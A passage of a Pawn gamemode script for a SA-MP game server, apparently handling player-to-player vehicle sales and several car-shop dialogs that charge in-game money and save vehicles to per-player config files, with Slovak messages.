                    new v_pn2[16]; format(v_pn2,16,"V%d_pn", s_slot_id);
                    new v_pj2[16]; format(v_pj2,16,"V%d_pj", s_slot_id);
                    new v_snL2[16]; format(v_snL2,16,"V%d_snL", s_slot_id);
                    new v_snR2[16]; format(v_snR2,16,"V%d_snR", s_slot_id);
                    new v_zn2[16]; format(v_zn2,16,"V%d_zn", s_slot_id);
                    new v_exhaust2[16]; format(v_exhaust2,16,"V%d_exhaust", s_slot_id);
                    new v_nitro2[16]; format(v_nitro2,16,"V%d_nitro", s_slot_id);
                    new v_hyd2[16]; format(v_hyd2,16,"V%d_hyd", s_slot_id);
                    new v_roof2[16]; format(v_roof2,16,"V%d_roof", s_slot_id);
                    new v_color21[16]; format(v_color21,16,"V%d_color1", s_slot_id);
                    new v_color22[16]; format(v_color22,16,"V%d_color2", s_slot_id);
                    new v_spz2[16]; format(v_spz2,16,"V%d_spz", s_slot_id);
                    new V_posX2[16]; format(V_posX2,16,"V%d_posX", s_slot_id);
                    new V_posY2[16]; format(V_posY2,16,"V%d_posY", s_slot_id);
                    new V_posZ2[16]; format(V_posZ2,16,"V%d_posZ", s_slot_id);
                    new V_angle2[16]; format(V_angle2,16,"V%d_angle", s_slot_id);

                    dini_IntSet(way2, v_id2, dini_Int(way, v_id));
                    dini_IntSet(way2, v_sell2, dini_Int(way, v_sell));
                    dini_IntSet(way2, v_neons2, dini_Int(way, v_neons));
                    dini_IntSet(way2, v_wheels2, dini_Int(way, v_wheels));
                    dini_IntSet(way2, v_spoiler2, dini_Int(way, v_spoiler));
                    dini_IntSet(way2, v_pn2, dini_Int(way, v_pn));
                    dini_IntSet(way2, v_pj2, dini_Int(way, v_pj));
                    dini_IntSet(way2, v_snL2, dini_Int(way, v_snL));
                    dini_IntSet(way2, v_snR2, dini_Int(way, v_snR));
                    dini_IntSet(way2, v_zn2, dini_Int(way, v_zn));
                    dini_IntSet(way2, v_exhaust2, dini_Int(way, v_exhaust));
                    dini_IntSet(way2, v_nitro2, dini_Int(way, v_nitro));
                    dini_IntSet(way2, v_hyd2, dini_Int(way, v_hyd));
                    dini_IntSet(way2, v_roof2, dini_Int(way, v_roof));
                    dini_IntSet(way2, v_color21, dini_Int(way, v_color1));
                    dini_IntSet(way2, v_color22, dini_Int(way, v_color2));
                    dini_Set(way2, v_spz2, dini_Get(way, v_spz));
                    dini_FloatSet(way2, V_posX2, dini_Float(way, V_posX));
                    dini_FloatSet(way2, V_posY2, dini_Float(way, V_posY));
                    dini_FloatSet(way2, V_posZ2, dini_Float(way, V_posZ));
                    dini_FloatSet(way2, V_angle2, dini_Float(way, V_angle));

                    dini_IntSet(way, v_id, 0);
                    dini_IntSet(way, v_sell, 0);
                    dini_IntSet(way, v_neons, 0);
                    dini_IntSet(way, v_wheels, 0);
                    dini_IntSet(way, v_spoiler, 0);
                    dini_IntSet(way, v_pn, 0);
                    dini_IntSet(way, v_pj, 9999);
                    dini_IntSet(way, v_snL, 0);
                    dini_IntSet(way, v_snR, 0);
                    dini_IntSet(way, v_zn, 0);
                    dini_IntSet(way, v_exhaust, 0);
                    dini_IntSet(way, v_nitro, 0);
                    dini_IntSet(way, v_hyd, 0);
                    dini_IntSet(way, v_roof, 0);
                    dini_IntSet(way, v_color1, 0);
                    dini_IntSet(way, v_color2, 0);
                    dini_Set(way, v_spz, "SL-000XX");
                    dini_FloatSet(way, V_posX, 0);
                    dini_FloatSet(way, V_posY, 0);
                    dini_FloatSet(way, V_posZ, 0);
                    dini_FloatSet(way, V_angle, 0);

                    if(PlayerVehicle_State[s_slot_playerid][s_playerid] == true)
                    {
                        new Float:vx, Float:vy, Float:vz, Float:va;
                        GetVehiclePos(PlayerVehicle[s_slot_playerid][s_playerid], vx, vy, vz);
                        GetVehicleZAngle(PlayerVehicle[s_slot_playerid][s_playerid], va);

                           PlayerVehicle[s_slot_id][s_id] = CreateVehicle(dini_Int(way2, v_id2), dini_Float(way2, V_posX2), dini_Float(way2, V_posY2), dini_Float(way2, V_posZ2), dini_Float(way2, V_angle2), dini_Int(way2, v_color21), dini_Int(way2, v_color22), 300);

                        SetVehicleNumberPlate(PlayerVehicle[s_slot_id][s_id], dini_Get(way2, v_spz2));
                        
                        ChangeVehiclePaintjob(PlayerVehicle[s_slot_id][s_id], dini_Int(way2, v_pj2));

                        SetVehicleToRespawn(PlayerVehicle[s_slot_id][s_id]);

                        SetVehiclePos(PlayerVehicle[s_slot_id][s_id], vx, vy, vz);
                        SetVehicleZAngle(PlayerVehicle[s_slot_id][s_id], va);

                        PlayerVehicle_State[s_slot_id][s_id]=true;

                        ///////////////////////////////

                        if(PlayerVehicleNeons[s_slot_playerid][s_playerid] == true)
                        {
                            PlayerVehicleNeons[s_slot_playerid][s_playerid] = false;
                            DestroyObject(PlayerVehicleNeon1[s_slot_playerid][s_playerid]);
                            DestroyObject(PlayerVehicleNeon2[s_slot_playerid][s_playerid]);

                            PlayerVehicleNeon1[s_slot_id][s_id] = CreateObject(dini_Int(way2, v_neons2), -0.66, 0.04, -0.48,   0.00, 0.00, 0.00);
                            PlayerVehicleNeon2[s_slot_id][s_id] = CreateObject(dini_Int(way2, v_neons2), 0.68, 0.04, -0.48,   0.00, 0.00, 0.00);
                            AttachObjectToVehicle(PlayerVehicleNeon1[s_slot_id][s_id], PlayerVehicle[s_slot_id][s_id], -0.68, 0.04, -0.48,   0.00, 0.00, 0.00);
                            AttachObjectToVehicle(PlayerVehicleNeon2[s_slot_id][s_id], PlayerVehicle[s_slot_id][s_id], 0.68, 0.04, -0.48,   0.00, 0.00, 0.00);

                            PlayerVehicleNeons[s_slot_id][s_id] = true;
                        }

                        PlayerVehicle_State[s_slot_playerid][s_playerid]=false;

                        DestroyVehicleEx(PlayerVehicle[s_slot_playerid][s_playerid]);
                    }

                    GivePlayerACMoney(s_playerid, s_price);
                    GivePlayerACMoney(s_id, -s_price);

                    new string[256];
                    format(string, 256, "{00aa00}Hráč %s prijal tvoju ponuku.\nPredal si vozidlo %s za %d$", Name2, VehicleName[dini_Int(way2, v_id2) - 400], s_price);
                    ShowPlayerDialog(s_playerid, Dialog_NoEffect, DIALOG_STYLE_MSGBOX, "{ffff00}Ponuka - Odpoveď", string, "Cancel", "");
                    
                    format(string, 256, "{00aa00}Prijal si ponuku !\nKupil si vozidlo %s za %d$ od hráča %s.", VehicleName[dini_Int(way2, v_id2) - 400], s_price, Name);
                    ShowPlayerDialog(s_id, Dialog_NoEffect, DIALOG_STYLE_MSGBOX, "{ffff00}Ponkua - Odpoveď", string, "Cancel", "");
                }

                if(response == 1)
                {
                    if(IsPlayerConnected(s_playerid)) ShowPlayerDialog(s_playerid, Dialog_NoEffect, DIALOG_STYLE_MSGBOX, "{ffff00}Ponuka - Odpoveď", "{ff0000}Hráč odmietol tvoju ponuku !", "Cancel", "");
                    ShowPlayerDialog(s_id, Dialog_NoEffect, DIALOG_STYLE_MSGBOX, "{ffff00}Ponuka - Odpoveď", "{ff0000}Odmietol si ponuku !", "Cancel", "");
                }
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_CarShop0)
        {
            if(response == 1)
            {
                SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);

                new modelid;
                new price;
                
                if(listitem == 0)
                {
                    modelid = 560;
                    price = 325000;
                }
                if(listitem == 1)
                {
                    modelid = 559;
                    price = 320000;
                }
                if(listitem == 2)
                {
                    modelid = 562;
                    price = 330000;
                }
                if(listitem == 3)
                {
                    modelid = 558;
                    price = 300000;
                }
                if(listitem == 4)
                {
                    modelid = 565;
                    price = 300000;
                }
                if(listitem == 5)
                {
                    modelid = 411;
                    price = 500000;
                }
                if(listitem == 6)
                {
                    modelid = 541;
                    price = 275000;
                }
                if(listitem == 7)
                {
                    modelid = 603;
                    price = 210000;
                }
                if(listitem == 8)
                {
                    modelid = 477;
                    price = 250000;
                }

                new bool:IsPlayerVehicleSlotFree = false;
                new slotid;
                
                if(Player[playerid][VIP] == 0)
                {
                    for(new v=0; v<3; v++)
                    {
                        if(PlayerVehicle_State[v][playerid] == false)
                        {
                            IsPlayerVehicleSlotFree = true;
                            slotid = v;
                            break;
                        }
                    }
                }
                else
                {
                    for(new v=0; v<5; v++)
                    {
                        if(PlayerVehicle_State[v][playerid] == false)
                        {
                            IsPlayerVehicleSlotFree = true;
                            slotid = v;
                            break;
                        }
                    }
                }
                
                if(GetPlayerACMoney(playerid) < price) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš dostatok peňazí !");
                else if(IsPlayerVehicleSlotFree == false) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš voľný slot pre zakupenie vozidla !");
                else
                {
                    new Name[24], way[32], V_id[16], V_posX[16], V_posY[16], V_posZ[16], V_angle[16], V_spz[16], V_color1[16], V_color2[16];
                    GetPlayerName(playerid, Name, 24);
                    format(way, 32, "SL/%s.cfg", Name);
                    format(V_id, 16, "V%d_id", slotid);
                    format(V_posX, 16, "V%d_posX", slotid);
                    format(V_posY, 16, "V%d_posY", slotid);
                    format(V_posZ, 16, "V%d_posZ", slotid);
                    format(V_angle, 16, "V%d_angle", slotid);
                    format(V_spz, 16, "V%d_spz", slotid);
                    format(V_color1, 16, "V%d_color1", slotid);
                    format(V_color2, 16, "V%d_color2", slotid);

                    new V_sell[16];
                    format(V_sell, 16, "V%d_sell", slotid);
                    dini_IntSet(way, V_sell, (price / 4 * 3));

                    dini_IntSet(way, V_id, modelid);
                    dini_IntSet(way, V_color1, random(126));
                    dini_IntSet(way, V_color2, random(126));
                    dini_FloatSet(way, V_posX, CarShopVehicleSpawnPos[0][0]);
                    dini_FloatSet(way, V_posY, CarShopVehicleSpawnPos[1][0]);
                    dini_FloatSet(way, V_posZ, CarShopVehicleSpawnPos[2][0]);
                    dini_FloatSet(way, V_angle, CarShopVehicleSpawnPos[3][0]);

                    PlayerVehicle[slotid][playerid] = CreateVehicle(dini_Int(way, V_id), dini_Float(way, V_posX), dini_Float(way, V_posY), dini_Float(way, V_posZ), dini_Float(way, V_angle), dini_Int(way, V_color1), dini_Int(way, V_color2), 300);

                    if(dini_Isset(way, V_spz))
                    {
                        SetVehicleNumberPlate(PlayerVehicle[slotid][playerid], dini_Get(way, V_spz));
                        SetVehicleToRespawn(PlayerVehicle[slotid][playerid]);
                    }

                    PlayerVehicle_State[slotid][playerid]=true;

                    GivePlayerACMoney(playerid, -price);

                    new string[256];
                    format(string, 256, "~w~Kupil si si vozidlo ~y~%s~w~ za ~y~%d$~w~!", VehicleName[modelid - 400], price);
                    FormatPlayerInfoBox(playerid, "~g~Vehicles", string, 3000);
                }
            }
            
            if(response == 0)
            {
                SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_CarShop1)
        {
            if(response == 1)
            {
                SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);

                new modelid;
                new price;

                if(listitem == 0)
                {
                    modelid = 494;
                    price = 600000;
                }
                if(listitem == 1)
                {
                    modelid = 429;
                    price = 300000;
                }
                if(listitem == 2)
                {
                    modelid = 506;
                    price = 300000;
                }
                if(listitem == 3)
                {
                    modelid = 451;
                    price = 310000;
                }
                if(listitem == 4)
                {
                    modelid = 480;
                    price = 280000;
                }
                if(listitem == 5)
                {
                    modelid = 550;
                    price = 230000;
                }
                if(listitem == 6)
                {
                    modelid = 587;
                    price = 300000;
                }
                if(listitem == 7)
                {
                    modelid = 415;
                    price = 300000;
                }

                new bool:IsPlayerVehicleSlotFree = false;
                new slotid;

                if(Player[playerid][VIP] == 0)
                {
                    for(new v=0; v<3; v++)
                    {
                        if(PlayerVehicle_State[v][playerid] == false)
                        {
                            IsPlayerVehicleSlotFree = true;
                            slotid = v;
                            break;
                        }
                    }
                }
                else
                {
                    for(new v=0; v<5; v++)
                    {
                        if(PlayerVehicle_State[v][playerid] == false)
                        {
                            IsPlayerVehicleSlotFree = true;
                            slotid = v;
                            break;
                        }
                    }
                }

                if(GetPlayerACMoney(playerid) < price) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš dostatok peňazi !");
                else if(IsPlayerVehicleSlotFree == false) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš voľný slot prr zakupenie vozidla !");
                else
                {
                    new Name[24], way[32], V_id[16], V_posX[16], V_posY[16], V_posZ[16], V_angle[16], V_spz[16], V_color1[16], V_color2[16];
                    GetPlayerName(playerid, Name, 24);
                    format(way, 32, "SL/%s.cfg", Name);
                    format(V_id, 16, "V%d_id", slotid);
                    format(V_posX, 16, "V%d_posX", slotid);
                    format(V_posY, 16, "V%d_posY", slotid);
                    format(V_posZ, 16, "V%d_posZ", slotid);
                    format(V_angle, 16, "V%d_angle", slotid);
                    format(V_spz, 16, "V%d_spz", slotid);
                    format(V_color1, 16, "V%d_color1", slotid);
                    format(V_color2, 16, "V%d_color2", slotid);

                    new V_sell[16];
                    format(V_sell, 16, "V%d_sell", slotid);
                    dini_IntSet(way, V_sell, (price / 4 * 3));

                    dini_IntSet(way, V_id, modelid);
                    dini_IntSet(way, V_color1, random(126));
                    dini_IntSet(way, V_color2, random(126));
                    dini_FloatSet(way, V_posX, CarShopVehicleSpawnPos[0][1]);
                    dini_FloatSet(way, V_posY, CarShopVehicleSpawnPos[1][1]);
                    dini_FloatSet(way, V_posZ, CarShopVehicleSpawnPos[2][1]);
                    dini_FloatSet(way, V_angle, CarShopVehicleSpawnPos[3][1]);

                    PlayerVehicle[slotid][playerid] = CreateVehicle(dini_Int(way, V_id), dini_Float(way, V_posX), dini_Float(way, V_posY), dini_Float(way, V_posZ), dini_Float(way, V_angle), dini_Int(way, V_color1), dini_Int(way, V_color2), 300);

                    if(dini_Isset(way, V_spz))
                    {
                        SetVehicleNumberPlate(PlayerVehicle[slotid][playerid], dini_Get(way, V_spz));
                        SetVehicleToRespawn(PlayerVehicle[slotid][playerid]);
                    }

                    PlayerVehicle_State[slotid][playerid]=true;

                    GivePlayerACMoney(playerid, -price);

                    new string[256];
                    format(string, 256, "~w~Kupil si si vozidlo ~y~%s~w~ za ~y~%d$~w~!", VehicleName[modelid - 400], price);
                    FormatPlayerInfoBox(playerid, "~g~Vehicles", string, 3000);
                }
            }

            if(response == 0)
            {
                SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_CarShop2)
        {
            if(response == 1)
            {
                SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
            
                new modelid;
                new price;

                if(listitem == 0)
                {
                    modelid = 400;
                    price = 160000;
                }
                if(listitem == 1)
                {
                    modelid = 402;
                    price = 180000;
                }
                if(listitem == 2)
                {
                    modelid = 405;
                    price = 200000;
                }
                if(listitem == 3)
                {
                    modelid = 421;
                    price = 130000;
                }
                if(listitem == 4)
                {
                    modelid = 439;
                    price = 150000;
                }
                if(listitem == 5)
                {
                    modelid = 445;
                    price = 105000;
                }
                if(listitem == 6)
                {
                    modelid = 466;
                    price = 80000;
                }
                if(listitem == 7)
                {
                    modelid = 475;
                    price = 140000;
                }
                if(listitem == 8)
                {
                    modelid = 492;
                    price = 135000;
                }
                if(listitem == 9)
                {
                    modelid = 516;
                    price = 150000;
                }
                if(listitem == 10)
                {
                    modelid = 543;
                    price = 60000;
                }
                if(listitem == 11)
                {
                    modelid = 551;
                    price = 100000;
                }

                new bool:IsPlayerVehicleSlotFree = false;
                new slotid;

                if(Player[playerid][VIP] == 0)
                {
                    for(new v=0; v<3; v++)
                    {
                        if(PlayerVehicle_State[v][playerid] == false)
                        {
                            IsPlayerVehicleSlotFree = true;
                            slotid = v;
                            break;
                        }
                    }
                }
                else
                {
                    for(new v=0; v<5; v++)
                    {
                        if(PlayerVehicle_State[v][playerid] == false)
                        {
                            IsPlayerVehicleSlotFree = true;
                            slotid = v;
                            break;
                        }
                    }
                }

                if(GetPlayerACMoney(playerid) < price) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš dostatok peňazi !");
                else if(IsPlayerVehicleSlotFree == false) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš voľný slot pre zakupenie vozidla !");
                else
                {
                    new Name[24], way[32], V_id[16], V_posX[16], V_posY[16], V_posZ[16], V_angle[16], V_spz[16], V_color1[16], V_color2[16];
                    GetPlayerName(playerid, Name, 24);
                    format(way, 32, "SL/%s.cfg", Name);
                    format(V_id, 16, "V%d_id", slotid);
                    format(V_posX, 16, "V%d_posX", slotid);
                    format(V_posY, 16, "V%d_posY", slotid);
                    format(V_posZ, 16, "V%d_posZ", slotid);
                    format(V_angle, 16, "V%d_angle", slotid);
                    format(V_spz, 16, "V%d_spz", slotid);
                    format(V_color1, 16, "V%d_color1", slotid);
                    format(V_color2, 16, "V%d_color2", slotid);

                    new V_sell[16];
                    format(V_sell, 16, "V%d_sell", slotid);
                    dini_IntSet(way, V_sell, (price / 4 * 3));

                    dini_IntSet(way, V_id, modelid);
                    dini_IntSet(way, V_color1, random(126));
                    dini_IntSet(way, V_color2, random(126));
                    dini_FloatSet(way, V_posX, CarShopVehicleSpawnPos[0][2]);
                    dini_FloatSet(way, V_posY, CarShopVehicleSpawnPos[1][2]);
                    dini_FloatSet(way, V_posZ, CarShopVehicleSpawnPos[2][2]);
                    dini_FloatSet(way, V_angle, CarShopVehicleSpawnPos[3][2]);

                    PlayerVehicle[slotid][playerid] = CreateVehicle(dini_Int(way, V_id), dini_Float(way, V_posX), dini_Float(way, V_posY), dini_Float(way, V_posZ), dini_Float(way, V_angle), dini_Int(way, V_color1), dini_Int(way, V_color2), 300);

                    if(dini_Isset(way, V_spz))
                    {
                        SetVehicleNumberPlate(PlayerVehicle[slotid][playerid], dini_Get(way, V_spz));
                        SetVehicleToRespawn(PlayerVehicle[slotid][playerid]);
                    }

                    PlayerVehicle_State[slotid][playerid]=true;

                    GivePlayerACMoney(playerid, -price);

                    new string[256];
                    format(string, 256, "~w~Kupil si si vozidlo ~y~%s~w~ za ~y~%d$~w~!", VehicleName[modelid - 400], price);
                    FormatPlayerInfoBox(playerid, "~g~Vehicles", string, 3000);
                }
            }

            if(response == 0)
            {
                SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_CarShop3)
        {
            if(response == 1)
            {
                SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);

                new modelid;
                new price;

                if(listitem == 0)
                {
                    modelid = 511;
                    price = 500000;
                }
                if(listitem == 1)
                {
                    modelid = 512;
                    price = 250000;
                }
                if(listitem == 2)
                {
                    modelid = 593;
                    price = 400000;
                }
                if(listitem == 3)
                {
                    modelid = 553;
                    price = 1250000;
                }
                if(listitem == 4)
                {
                    modelid = 476;
                    price = 2000000;
                }
                if(listitem == 5)
                {
                    modelid = 519;
                    price = 3500000;
                }
                if(listitem == 6)
                {
                    modelid = 460;
                    price = 550000;
                }
                if(listitem == 7)
                {
                    modelid = 513;
                    price = 800000;
                }
                if(listitem == 8)
                {
                    modelid = 417;
                    price = 900000;
                }
                if(listitem == 9)
                {
                    modelid = 487;
                    price = 1750000;
                }
                if(listitem == 10)
                {
                    modelid = 447;
                    price = 1500000;
                }
                if(listitem == 11)
                {
                    modelid = 469;
                    price = 1200000;
                }

                new bool:IsPlayerVehicleSlotFree = false;
                new slotid;

                if(Player[playerid][VIP] == 0)
                {
                    for(new v=0; v<3; v++)
                    {
                        if(PlayerVehicle_State[v][playerid] == false)
                        {
                            IsPlayerVehicleSlotFree = true;
                            slotid = v;
                            break;
                        }
                    }
                }
                else
                {
                    for(new v=0; v<5; v++)
                    {
                        if(PlayerVehicle_State[v][playerid] == false)
                        {
                            IsPlayerVehicleSlotFree = true;
                            slotid = v;
                            break;
                        }
                    }
                }

                if(GetPlayerACMoney(playerid) < price) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš dostatok peňazí !");
                else if(IsPlayerVehicleSlotFree == false) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš voľný slot pre zakupenie vozidla !");
                else
                {
                    new Name[24], way[32], V_id[16], V_posX[16], V_posY[16], V_posZ[16], V_angle[16], V_spz[16], V_color1[16], V_color2[16];
                    GetPlayerName(playerid, Name, 24);
                    format(way, 32, "SL/%s.cfg", Name);
                    format(V_id, 16, "V%d_id", slotid);
                    format(V_posX, 16, "V%d_posX", slotid);
                    format(V_posY, 16, "V%d_posY", slotid);
                    format(V_posZ, 16, "V%d_posZ", slotid);
                    format(V_angle, 16, "V%d_angle", slotid);
                    format(V_spz, 16, "V%d_spz", slotid);
                    format(V_color1, 16, "V%d_color1", slotid);
                    format(V_color2, 16, "V%d_color2", slotid);

                    new V_sell[16];
                    format(V_sell, 16, "V%d_sell", slotid);
                    dini_IntSet(way, V_sell, (price / 4 * 3));

                    dini_IntSet(way, V_id, modelid);
                    dini_IntSet(way, V_color1, random(126));
                    dini_IntSet(way, V_color2, random(126));
                    dini_FloatSet(way, V_posX, CarShopVehicleSpawnPos[0][3]);
                    dini_FloatSet(way, V_posY, CarShopVehicleSpawnPos[1][3]);
                    dini_FloatSet(way, V_posZ, CarShopVehicleSpawnPos[2][3]);
                    dini_FloatSet(way, V_angle, CarShopVehicleSpawnPos[3][3]);

                    PlayerVehicle[slotid][playerid] = CreateVehicle(dini_Int(way, V_id), dini_Float(way, V_posX), dini_Float(way, V_posY), dini_Float(way, V_posZ), dini_Float(way, V_angle), dini_Int(way, V_color1), dini_Int(way, V_color2), 300);

                    if(dini_Isset(way, V_spz))
                    {
                        SetVehicleNumberPlate(PlayerVehicle[slotid][playerid], dini_Get(way, V_spz));
                        SetVehicleToRespawn(PlayerVehicle[slotid][playerid]);
                    }

                    PlayerVehicle_State[slotid][playerid]=true;

                    GivePlayerACMoney(playerid, -price);

                    new string[256];
                    format(string, 256, "~w~Kupil si si vozidlo ~y~%s~w~ za ~y~%d$~w~!", VehicleName[modelid - 400], price);
                    FormatPlayerInfoBox(playerid, "~g~Vehicles", string, 3000);
                }
            }

            if(response == 0)
            {
                SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_CarShop4)
        {
            if(response == 1)
            {
                SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);

                new modelid;
                new price;

                if(listitem == 0)
                {
                    modelid = 403;
                    price = 525000;
                }
                if(listitem == 1)
                {
                    modelid = 406;
                    price = 5000000;
                }
                if(listitem == 2)
                {
                    modelid = 443;
                    price = 500000;
                }
                if(listitem == 3)
                {
                    modelid = 470;
                    price = 300000;
                }
                if(listitem == 4)
                {
                    modelid = 489;
                    price = 230000;
                }
                if(listitem == 5)
                {
                    modelid = 495;
                    price = 300000;
                }
                if(listitem == 6)
                {
                    modelid = 515;
                    price = 700000;
                }
                if(listitem == 7)
                {
                    modelid = 524;
                    price = 500000;
                }
                if(listitem == 8)
                {
                    modelid = 444;
                    price = 800000;
                }
                if(listitem == 9)
                {
                    modelid = 568;
                    price = 250000;
                }
                if(listitem == 10)
                {
                    modelid = 573;
                    price = 300000;
                }
                if(listitem == 11)
                {
                    modelid = 579;
                    price = 300000;
                }

                new bool:IsPlayerVehicleSlotFree = false;
                new slotid;

                if(Player[playerid][VIP] == 0)
                {
                    for(new v=0; v<3; v++)
                    {
                        if(PlayerVehicle_State[v][playerid] == false)
                        {
                            IsPlayerVehicleSlotFree = true;
                            slotid = v;
                            break;
                        }
                    }
                }
                else
                {
                    for(new v=0; v<5; v++)
                    {
                        if(PlayerVehicle_State[v][playerid] == false)
                        {
                            IsPlayerVehicleSlotFree = true;
                            slotid = v;
                            break;
                        }
                    }
                }

                if(GetPlayerACMoney(playerid) < price) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš dostatok peňazi !");
                else if(IsPlayerVehicleSlotFree == false) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš voľný slot pre zakupenie vozidla !");
                else
                {
                    new Name[24], way[32], V_id[16], V_posX[16], V_posY[16], V_posZ[16], V_angle[16], V_spz[16], V_color1[16], V_color2[16];
                    GetPlayerName(playerid, Name, 24);
                    format(way, 32, "SL/%s.cfg", Name);
                    format(V_id, 16, "V%d_id", slotid);
                    format(V_posX, 16, "V%d_posX", slotid);
                    format(V_posY, 16, "V%d_posY", slotid);
                    format(V_posZ, 16, "V%d_posZ", slotid);
                    format(V_angle, 16, "V%d_angle", slotid);
                    format(V_spz, 16, "V%d_spz", slotid);
                    format(V_color1, 16, "V%d_color1", slotid);
                    format(V_color2, 16, "V%d_color2", slotid);

                    new V_sell[16];
                    format(V_sell, 16, "V%d_sell", slotid);
                    dini_IntSet(way, V_sell, (price / 4 * 3));

                    dini_IntSet(way, V_id, modelid);
                    dini_IntSet(way, V_color1, random(126));
                    dini_IntSet(way, V_color2, random(126));
                    dini_FloatSet(way, V_posX, CarShopVehicleSpawnPos[0][4]);
                    dini_FloatSet(way, V_posY, CarShopVehicleSpawnPos[1][4]);
                    dini_FloatSet(way, V_posZ, CarShopVehicleSpawnPos[2][4]);
                    dini_FloatSet(way, V_angle, CarShopVehicleSpawnPos[3][4]);

                    PlayerVehicle[slotid][playerid] = CreateVehicle(dini_Int(way, V_id), dini_Float(way, V_posX), dini_Float(way, V_posY), dini_Float(way, V_posZ), dini_Float(way, V_angle), dini_Int(way, V_color1), dini_Int(way, V_color2), 300);

                    if(dini_Isset(way, V_spz))
                    {
                        SetVehicleNumberPlate(PlayerVehicle[slotid][playerid], dini_Get(way, V_spz));
                        SetVehicleToRespawn(PlayerVehicle[slotid][playerid]);
                    }

                    PlayerVehicle_State[slotid][playerid]=true;

                    GivePlayerACMoney(playerid, -price);

                    new string[256];
                    format(string, 256, "~w~Kupil si si vozidlo ~y~%s~w~ za ~y~%d$~w~!", VehicleName[modelid - 400], price);
                    FormatPlayerInfoBox(playerid, "~g~Vehicles", string, 3000);
                }
            }

            if(response == 0)
            {
                SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
            }
        }
        /////////////////////////////////////////////////////////////////////////////
        else if(dialogid == Dialog_CarShop5)
        {
            if(response == 1)
            {
                SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);

                new modelid;
                new price;

                if(listitem == 0)
                {
                    modelid = 536;
                    price = 100000;
                }
                if(listitem == 1)
                {
                    modelid = 575;
                    price = 50000;
                }
                if(listitem == 2)
                {
                    modelid = 534;
                    price = 235000;
                }
                if(listitem == 3)
                {
                    modelid = 535;
                    price = 230000;
                }
                if(listitem == 4)
                {
                    modelid = 576;
                    price = 140000;
                }
                if(listitem == 5)
                {
                    modelid = 412;
                    price = 150000;
                }
                if(listitem == 6)
                {
                    modelid = 567;
                    price = 100000;
                }

                new bool:IsPlayerVehicleSlotFree = false;
                new slotid;

                if(Player[playerid][VIP] == 0)
                {
                    for(new v=0; v<3; v++)
                    {
                        if(PlayerVehicle_State[v][playerid] == false)
                        {
                            IsPlayerVehicleSlotFree = true;
                            slotid = v;
                            break;
                        }
                    }
                }
                else
                {
                    for(new v=0; v<5; v++)
                    {
                        if(PlayerVehicle_State[v][playerid] == false)
                        {
                            IsPlayerVehicleSlotFree = true;
                            slotid = v;
                            break;
                        }
                    }
                }

                if(GetPlayerACMoney(playerid) < price) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš dostatok peňazi !");
                else if(IsPlayerVehicleSlotFree == false) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš voľný slot pre zakupenie vozidla !");
                else
                {
                    new Name[24], way[32], V_id[16], V_posX[16], V_posY[16], V_posZ[16], V_angle[16], V_spz[16], V_color1[16], V_color2[16];
                    GetPlayerName(playerid, Name, 24);
                    format(way, 32, "SL/%s.cfg", Name);
                    format(V_id, 16, "V%d_id", slotid);
                    format(V_posX, 16, "V%d_posX", slotid);
                    format(V_posY, 16, "V%d_posY", slotid);
                    format(V_posZ, 16, "V%d_posZ", slotid);
                    format(V_angle, 16, "V%d_angle", slotid);
                    format(V_spz, 16, "V%d_spz", slotid);
                    format(V_color1, 16, "V%d_color1", slotid);
                    format(V_color2, 16, "V%d_color2", slotid);

                    new V_sell[16];
                    format(V_sell, 16, "V%d_sell", slotid);
                    dini_IntSet(way, V_sell, (price / 4 * 3));

                    dini_IntSet(way, V_id, modelid);
                    dini_IntSet(way, V_color1, random(126));
                    dini_IntSet(way, V_color2, random(126));
                    dini_FloatSet(way, V_posX, CarShopVehicleSpawnPos[0][5]);
                    dini_FloatSet(way, V_posY, CarShopVehicleSpawnPos[1][5]);
                    dini_FloatSet(way, V_posZ, CarShopVehicleSpawnPos[2][5]);
                    dini_FloatSet(way, V_angle, CarShopVehicleSpawnPos[3][5]);

                    PlayerVehicle[slotid][playerid] = CreateVehicle(dini_Int(way, V_id), dini_Float(way, V_posX), dini_Float(way, V_posY), dini_Float(way, V_posZ), dini_Float(way, V_angle), dini_Int(way, V_color1), dini_Int(way, V_color2), 300);

                    if(dini_Isset(way, V_spz))
                    {
                        SetVehicleNumberPlate(PlayerVehicle[slotid][playerid], dini_Get(way, V_spz));
                        SetVehicleToRespawn(PlayerVehicle[slotid][playerid]);
                    }

                    PlayerVehicle_State[slotid][playerid]=true;

                    GivePlayerACMoney(playerid, -price);

                    new string[256];
